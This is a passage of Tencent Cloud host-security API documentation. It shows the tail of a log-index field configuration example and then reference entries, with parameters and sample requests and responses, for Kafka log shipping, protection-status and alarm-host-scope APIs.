"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "class_name",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "path",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "home_path",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "process_count",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
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```
"ContainZH": true
}
},
{
"Key": "package_name",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "disk_size",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "uuid",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "category_name",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "rule_level",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
```


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```
},
{
"Key": "argv",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "password_lock_days",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "data_path",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "boot_time",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "install_path",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
```


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```
"Key": "vul_category",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "reference",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "pstree",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "descript",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "host_name",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "desc",
"Value": {
```


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```
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "install_time",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "dst_port",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "parent_proc_name",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "process_exe",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "cve_id",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
```


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```
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "os_type",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "last_login_time",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "tty",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "exe",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "http_param",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
```


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```
}
},
{
"Key": "level",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "count",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "event_detail",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "cpu_size",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "http_user_agent",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
```

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```
{
"Key": "event_status",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "process_argv",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "password_status",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "error_log_path",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "super_class_name",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "src_machine_name",
```


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```
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "user_name",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "recover_type",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "filesize",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "process_name",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "exception_message",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
```


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```
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "memory_size",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "virtual_path",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "quuid",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "modify_time",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "hostip",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
```


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```
"ContainZH": true
}
},
{
"Key": "interfaces",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "user",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "hostname",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "os_info",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "update_time",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
```


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```
},
{
"Key": "plugin_path",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "cycle",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "http_method",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "parent_proc_user",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "os_name",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
```


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```
"Key": "location",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "exception",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "last_login_terminal",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "proc_file_privilege",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "query_time",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "merge_time",
"Value": {
```


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```
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "start_time",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "offline_time",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "fix",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "username",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "is_risk_user",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
```


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```
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "class_file",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "size",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "root_path",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "url",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "is_manual_recover",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
```


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```
}
},
{
"Key": "target",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "group_name",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "value",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "banned",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "md5",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
```

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```
{
"Key": "access_count",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "uid",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "file_type",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "login_type",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "is_risk_time",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "gid",
```


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```
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "has_recovered",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "lang",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "shell",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "password_warn_days",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "permission",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
```


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```
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "file_create_time",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "cmd_line",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "event_count",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "http_content",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "create_time",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
```


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```
"ContainZH": true
}
},
{
"Key": "bash_cmd",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "password_change_time",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "port",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "uninstall_time",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "exec_time",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
```


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```
},
{
"Key": "file_path",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "user_group",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "ppid",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "instance_id",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "bin_path",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
```

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```
"Key": "cls_event_type",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "dst_ip",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "remark",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "is_risk_src_ip",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "recent_found_time",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "name",
"Value": {
```


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```
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "egid",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "float_ip",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
}
]
},
"Tag": {
"CaseSensitive": false,
"KeyValues": null
}
},
"Status": true
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeLogKafkaDeliverInfo

Last updated：2024-12-06 15:40:35

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the information of Kafka shipping.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeLogKafkaDeliverInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
KafkaEnvName	String	Instance environment
KafkaId	String	Instance ID

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Zone	String	Region
Az	String	Availability zone
VpcId	String	Network
SubnetId	String	Subnet
AccessType	Integer	Access method. 1: public network domain name access; 2: support environment access
AccessAddr	String	Access address
DeliverStatus	Integer	Shipping status. 1: healthy; 2: alarm; 3: abnormal
InsVersion	String	Kafka edition
BandWidth	Integer	Peak bandwidth
DiskSize	Integer	Disk capacity
Username	String	Username
DeliverTypeDetails	Array of DeliverTypeDetails	xx
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Kafka Log Shipping Information

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeLogKafkaDeliverInfo
<Common request parameters>

{}
```

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Output Example


```
{
"Response": {
"KafkaEnvName": "name",
"KafkaId": "ckafka-sfs",
"Zone": "10006",
"Az": "az",
"VpcId": "vpc-fdfs",
"SubnetId": "subnet-fdfd",
"AccessType": 1,
"AccessAddr": "addr",
"DeliverStatus": 1,
"InsVersion": "1.0.1",
"BandWidth": 0,
"DiskSize": 0,
"Username": "username",
"DeliverTypeDetails": [
{
"SecurityType": 1,
"LogType": [
0
],
"TopicId": "topic-dad",
"TopicName": "topic-name",
"Switch": 1,
"Status": 1,
"ErrInfo": "err",
"StatusTime": 0,
"LogName": "log-name",
"LogSetId": "cls-wfd",
"Region": "ap-guangzhou"
}
],
"RequestId": "acdd5474-6360-4fd4-bfc7-843162cb8116"
}
}
```


5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeScreenProtectionStat

Last updated：2024-12-06 15:40:21

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the security protection status on the large screen.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeScreenProtectionStat.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
Info	Array of ScreenProtection	File scanning status. 0: never detected, or asset payment situation; 1: detected and malicious files exist; 2: detected and isolation protection is not enabled; 3: detected and protection is enabled with no risk.

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		Brute force crack status. 0: protection not enabled or asset payment situation; 1: protection enabled; 2: events pending to be processed exist Vulnerability scan status. 0: never detected, or 0 asset payment situation; 1: vulnerability risks exist; 2: no risk Baseline detection status. 0: never detected, or 0 asset payment situation; 1: baseline risks exist; 2: no risk
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeScreenProtectionStat
&<Common request parameters>
```

Output Example

```
{
"Response": {
"Info": [
{
"Status": 1,
"Name": "nnn"
}
],
"RequestId": "e12bdf62-9683-4faf-bdee-7ce6ec6fd790"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeWarningHostConfig

Last updated：2024-12-06 15:40:15

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the alarming machine scope settings.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeWarningHostConfig.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Type	Yes	Integer	Alarm type
Limit	No	Integer	Limit per Page, 0 for no paging.
Offset	No	Integer	Pagination offset. The default is 0.

3. Output Parameters

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Parameter Name	Type	Description
HostRange	Integer	Alarm Host Range Type. 0: All Hosts; 1: By Project; 2: By Tencent Cloud Tag; 3: By Host Security Tag; 4: Custom Hosts
ItemLabels	Array of String	List of Project or Tag Names, empty for custom hosts Note: This field may return null, indicating that no valid values can be obtained.
Quuids	Array of String	Machine list Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total Number of Machine Lists Note: This field may return null, indicating that no valid values can be obtained.
ItemLabelIds	Array of String	List of Project or Tag IDs, empty for custom hosts Note: This field may return null, indicating that no valid values can be obtained.
ExcludedQuuids	Array of String	
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example 1

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeWarningHostConfig
<Common request parameters>

{
"Limit": "0",
"Type": "24",
```

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```
"Offset": "0"
}
```

Output Example

```
{
"Response": {
"HostRange": 1,
"ItemLabels": [
"Development"
],
"ItemLabelIds": [
"1"
],
"Quuids": [
"fba3d8b0-7a98-48a6-aaea-10e4aaed6adb"
],
"RequestId": "1f53b3d7-347b-41b6-bf3a-16e414d2533c",
"TotalCount": 1
}
}
```

5. Developer Resources

SDK

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6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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ModifyLogKafkaAccess

Last updated：2024-12-06 15:40:10

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to add or modify the access configuration of logs shipped to Kafka.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyLogKafkaAccess.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
KafkaEnvName	Yes	String	Instance name, e.g. CWPP test environment
KafkaId	Yes	String	Instance ID
AccessType	Yes	Integer	Access method. 1 - public network domain name access; 2 - support environment access
AccessAddr	Yes	String	Access address
Username	Yes	String	Username

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HasPwd	Yes	Integer	0 - without password; 1 - with password
DeliverTypeDetails.N	Yes	Array of DeliverTypeDetails	Log shipping type configuration details
InsVersion	Yes	String	Kafka version
Zone	Yes	String	Region
Az	Yes	String	Availability zone
VpcId	Yes	String	vpcid address
SubnetId	Yes	String	Subnet ID
DeliverStatus	Yes	Integer	Shipping status. 1 - healthy; 2 - alarm; 3 - abnormal
BandWidth	Yes	Integer	Peak bandwidth
DiskSize	Yes	Integer	Disk capacity
Pwd	No	String	Password, AES encryption

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyLogKafkaAccess
```

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```
<Common request parameters>

{
"Username": "a",
"VpcId": "1.1.1.1",
"Zone": "Guangzhou",
